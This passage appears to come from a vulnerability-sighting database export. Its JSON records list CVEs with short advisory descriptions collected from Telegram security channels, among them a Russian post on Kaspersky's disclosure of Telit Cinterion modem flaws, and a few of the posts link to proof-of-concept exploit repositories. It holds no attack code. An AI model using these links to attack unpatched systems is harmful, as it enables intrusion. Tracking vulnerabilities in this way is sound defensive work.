\u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "52d6e831-3811-4d4b-8960-d61210da2ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47728", "type": "seen", "source": "https://t.me/cvedetector/3374", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47728 - IBM QRadar Suite/Cloud Pak for Security Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2023-47728 \nPublished : Aug. 16, 2024, 8:15 p.m. | 36\u00a0minutes ago \nDescription : IBM QRadar Suite Software 1.10.12.0 through 1.10.22.0 and IBM Cloud Pak for Security 1.10.0.0 through 1.10.11.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the request.  This information could be used in further attacks against the system.  IBM X-Force ID:  272201. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T22:55:31.000000Z"}, {"uuid": "aea9e68e-105b-4dc1-b055-e3ab73a2f4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4700", "type": "seen", "source": "https://t.me/cibsecurity/73622", "content": "\u203c CVE-2023-4700 \u203c\n\nAn authorization issue affecting GitLab EE affecting all versions from 14.7 prior to 16.3.6, 16.4 prior to 16.4.2, and 16.5 prior to 16.5.1, allowed a user to run jobs in protected environments, bypassing any required approvals.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T20:25:57.000000Z"}, {"uuid": "604c6402-3462-4182-a699-b183ffba208a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47185", "type": "seen", "source": "https://t.me/cibsecurity/73598", "content": "\u203c CVE-2023-47185 \u203c\n\nUnauth. Stored Cross-Site Scripting (XSS) vulnerability in gVectors Team Comments \u00e2\u20ac\u201d wpDiscuz plugin &lt;=\u00c2\u00a07.6.11 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T14:25:44.000000Z"}, {"uuid": "6ea05ef6-e790-40be-8181-6114664214cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47095", "type": "seen", "source": "https://t.me/cibsecurity/73295", "content": "\u203c CVE-2023-47095 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Custom Fields feature of Edit Virtual Server under System Customization allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:35:00.000000Z"}, {"uuid": "cef8a01d-ae64-47b3-9bc3-1468ec9b8e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/cibsecurity/74282", "content": "\u203c\ufe0fCVE-2023-47473\u203c\ufe0f\n\nDirectory Traversal vulnerability in fuwushe.org iFair versions 23.8ad0 and before allows an attacker to obtain sensitive information via a crafted script.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-04T01:32:44.000000Z"}, {"uuid": "f43c22e7-e87e-48eb-aef1-881dc8078646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47096", "type": "seen", "source": "https://t.me/cibsecurity/73293", "content": "\u203c CVE-2023-47096 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Cloudmin Services Client under System Settings allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:34:58.000000Z"}, {"uuid": "dbbbbb19-4c3c-4c38-93e2-66e0dc7eb1c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47233", "type": "seen", "source": "https://t.me/cibsecurity/73545", "content": "\u203c CVE-2023-47233 \u203c\n\nThe brcm80211 component in the Linux kernel through 6.5.10 has a brcmf_cfg80211_detach use-after-free in the device unplugging (disconnect the USB by hotplug) code. For physically proximate attackers with local access, this \"could be exploited in a real world scenario.\" This is related to brcmf_cfg80211_escan_timeout_worker in drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T23:23:37.000000Z"}, {"uuid": "82f9201d-3a33-43a7-9b76-0679b6ec2587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47235", "type": "seen", "source": "https://t.me/cibsecurity/73543", "content": "\u203c CVE-2023-47235 \u203c\n\nAn issue was discovered in FRRouting FRR through 9.0.1. A crash can occur when a malformed BGP UPDATE message with an EOR is processed, because the presence of EOR does not lead to a treat-as-withdraw outcome.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T23:23:35.000000Z"}, {"uuid": "1c64398f-a4b4-48a6-b891-a4f5ae40cd61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4769", "type": "seen", "source": "https://t.me/cibsecurity/73509", "content": "\u203c CVE-2023-4769 \u203c\n\nA SSRF vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0, specifically the /smtpConfig.do component. This vulnerability could allow an authenticated attacker to launch targeted attacks, such as a cross-port attack, service enumeration and other attacks via HTTP requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T13:23:18.000000Z"}, {"uuid": "58f69321-d5e6-469b-a388-05e5ea4e543f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4767", "type": "seen", "source": "https://t.me/cibsecurity/73508", "content": "\u203c CVE-2023-4767 \u203c\n\nA CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.csv.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T13:23:17.000000Z"}, {"uuid": "83fdd17e-bea3-43b2-b506-27d665ebad89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4768", "type": "seen", "source": "https://t.me/cibsecurity/73507", "content": "\u203c CVE-2023-4768 \u203c\n\nA CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T13:23:16.000000Z"}, {"uuid": "4d97b8d8-6852-4528-b6ef-91358f7335c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/1097", "content": "#exploit\n1. CVE-2023-47253:\nQualitor &lt;=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T04:47:11.000000Z"}, {"uuid": "bd6ec1d1-6b3b-462b-a89d-628b8b2f2add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cyberwarehouse/181", "content": "", "creation_timestamp": "2026-07-17T11:00:06.954695Z"}, {"uuid": "c0a74a34-7c46-4a6b-bf5e-2f24559623bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47204", "type": "seen", "source": "https://t.me/cibsecurity/73416", "content": "\u203c CVE-2023-47204 \u203c\n\nUnsafe YAML deserialization in yaml.Loader in transmute-core before 1.13.5 allows attackers to execute arbitrary Python code.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T11:22:23.000000Z"}, {"uuid": "a6b85d97-f1d1-41b4-aa10-73d431e5931d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/l2Vzp4vIKj6tL2ItYlEzDg7I0ePD1shAaZlJFOJL7T40rA", "content": "", "creation_timestamp": "2023-11-21T06:21:09.000000Z"}, {"uuid": "d71a27ba-2a5b-4f41-a69c-6cc36feddbd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/kQeAK9cAnQwdYL0AGQjGF8KPA-O05qaoT5ri0rbVIOfsnA", "content": "", "creation_timestamp": "2023-11-17T14:55:34.000000Z"}, {"uuid": "4c941d69-ef67-4c9e-be33-f885e3363631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/QSBwDO5JS9USsedDvROFYoSDD1KC919f_lQ4j3gNeoPMvw", "content": "", "creation_timestamp": "2023-11-17T14:54:26.000000Z"}, {"uuid": "f37e900f-0c1e-4e0b-b219-cd94d8f47ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47099", "type": "seen", "source": "https://t.me/cibsecurity/73292", "content": "\u203c CVE-2023-47099 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Create Virtual Server functionality allows XSS attacks against anyone who accesses the Virtual Server Summary tab.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:34:57.000000Z"}, {"uuid": "ddb6eb19-fd93-434e-873f-0cb3abd00a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "6cb40881-48d9-4b7e-89b6-71e226afdadb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47614", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected 